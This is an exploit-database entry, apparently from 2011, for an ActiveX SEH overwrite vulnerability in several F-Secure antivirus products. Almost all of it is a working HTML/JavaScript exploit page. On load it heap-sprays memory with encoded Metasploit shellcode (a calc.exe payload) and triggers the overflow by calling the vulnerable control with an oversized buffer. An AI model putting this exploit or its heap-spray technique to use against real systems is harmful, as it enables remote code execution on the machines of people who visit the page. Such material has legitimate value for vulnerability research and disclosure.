F-Secure Multiple Products ActiveX SEH Overwrite Vulnerability (Heap Spray)



EKU-ID: 875 CVE: OSVDB-ID:
Author: 41.w4r10r Published: 2011-08-25 Verified: Verified
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# Exploit Title: F-Secure Multiple Products ActiveX Remote SEH Overwrite Vulnerability(Heap Spray)
# Discovered Date: 24/05/2011
# Author: 41.w4r10r
# Version: Multiple
# Tested on : Windows XP SP2 Eng, IE 6,7,8

 

# Affected Products :  F-Secure Anti-Virus 2011
                       F-Secure Anti-Virus 2010
                       F-Secure Internet Security 2011
           F-Secure Internet Security 2010
          Solutions based on F-Secure Protection Service for Consumers version 9
         Solutions based on F-Secure Protection Service for Business - Workstation security version 9

# Vendor Advisory: http://www.f-secure.com/en_EMEA-Labs/news-info/security-advisories/fsc-2011-3.html

 

# Special Thanks: B0nd , Wipu, Anarky, Godwin_Austin , Neo, The_Empty, FB1H2S, W3bD3vil, d4rkd4wn, d4rk357 and garage4hackers family
# Visit Us : http://garage4hackers.com

 

 

<html>
 <head>
  <title>F-Secure Multiple SEH Overwrite Vulnerability(Heap Sprays)</title>
  <script language="JavaScript" defer>
    function Check() {
     
   
 
// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");
 
 
    var bigblock = unescape("%u0A0A%u0A0A");
    var headersize = 20;
    var slackspace = headersize + shellcode1.length;
    while (bigblock.length < slackspace) bigblock += bigblock;
    var fillblock = bigblock.substring(0,slackspace);
    var block = bigblock.substring(0,bigblock.length - slackspace);
    while (block.length + slackspace < 0x40000) block = block + block + fillblock;
 
    var memory = new Array();
    for (i = 0; i < 330; i++){ memory[i] = block + shellcode1 }
    
    var buf = '';
    var arg1 ='Anything';
    while (buf.length < 1008) buf = buf + unescape("%0A%0A");
        
    obj.initialize(arg1 ,buf);
} 
   </script>
  
  
</head>
 <body onload="JavaScript: return Check();">
    <object classid="clsid:147B3695-4308-41D9-B1A4-770B87BAD342" id="obj" size="0" width="0">
 
   Title : F-Secure Multiple Product SEH Overwrite Vulnerability(Heap Spray)
   Affected Products :   <ul> <li> F-Secure Anti-Virus 2011</li>
         <li> F-Secure Anti-Virus 2010</li>
         <li> F-Secure Internet Security 2011</li>
         <li> F-Secure Internet Security 2010</li>
         <li>Solutions based on F-Secure Protection Service for Consumers version 9</li>
         <li>Solutions based on F-Secure Protection Service for Business - Workstation security version 9 </li>
    </ul>
   Author : 41.w4r10r<br>
   Special Thanks: B0nd , Wipu, Anarky, Godwin_Austin , Neo, The_Empty, FB1H2S, W3bD3vil, d4rkd4wn, d4rk357 and garage4hackers family<br>
   Contact Us: <a href="http://garage4hacker.com">Garage4hackers</a><br>
  
  
           
    </object>
 
 </body>
</html>